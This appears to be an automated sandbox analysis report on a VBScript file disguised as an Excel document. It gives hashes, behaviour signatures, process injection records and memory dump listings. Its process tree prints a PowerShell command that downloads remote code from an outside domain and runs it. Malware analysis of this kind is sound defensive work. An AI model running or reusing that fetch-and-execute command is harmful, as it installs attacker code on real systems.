5237e653da5478c91e1de3d51a9713753b4bc1b4c9be8e9136cd9d94e216ae77

Resubmissions

12/08/2024, 11:41

240812-ntgelazapr 8

08/05/2024, 15:00

240508-sdtr7sab2w 8

05/04/2024, 15:07

240405-shpdaafc3v 10

04/04/2024, 20:19

240404-y3t26aaa37 10

Analysis

max time kernel
118s
max time network
122s
platform
windows7_x64
resource
win7-20240221-en
resource tags

arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
submitted
04/04/2024, 20:19

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Report Analysis Logs

General

Target

EXCEL_DOCUMENT_OPEN.vbs
Size

23KB
MD5

6925ed4c3665b27592c356b0bbd4948d
SHA1

7429a3929f68c87af85266c5d304f3e26e11a8c0
SHA256

5237e653da5478c91e1de3d51a9713753b4bc1b4c9be8e9136cd9d94e216ae77
SHA512

333ffd943ea86e75822f6c59412fe12b77f95ddeffd1f0286606faab19b595b27b528457158cc6afe2dcb75455ce9e1fb012ddf171f895135fc90e9d249599b6
SSDEEP

384:J0Y5Y65Go4F0yNWe037NwNAUihUN+0X2RyiUiK3xYUif3JNB6Bcy:hYFFFNWe037NwNAUiKNIRyiUiK3xYUi2

Score

3^/10

Malware Config

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2840	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2840	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2224 wrote to memory of 2840	2224	WScript.exe	28
PID 2224 wrote to memory of 2840	2224	WScript.exe	28
PID 2224 wrote to memory of 2840	2224	WScript.exe	28

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\EXCEL_DOCUMENT_OPEN.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:2224
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Invoke-Expression (irm -Uri 'irreceiver.com/lcyqeksm')
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2840

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2840-4-0x000000001B270000-0x000000001B552000-memory.dmp

Filesize
2.9MB

Download
memory/2840-5-0x00000000023F0000-0x00000000023F8000-memory.dmp

Filesize
32KB

Download
memory/2840-6-0x000007FEF5110000-0x000007FEF5AAD000-memory.dmp

Filesize
9.6MB

Download
memory/2840-7-0x0000000002570000-0x00000000025F0000-memory.dmp

Filesize
512KB

Download
memory/2840-10-0x0000000002570000-0x00000000025F0000-memory.dmp

Filesize
512KB

Download
memory/2840-9-0x0000000002570000-0x00000000025F0000-memory.dmp

Filesize
512KB

Download
memory/2840-8-0x000007FEF5110000-0x000007FEF5AAD000-memory.dmp

Filesize
9.6MB

Download
memory/2840-11-0x0000000002570000-0x00000000025F0000-memory.dmp

Filesize
512KB

Download
memory/2840-12-0x000007FEF5110000-0x000007FEF5AAD000-memory.dmp

Filesize
9.6MB

Download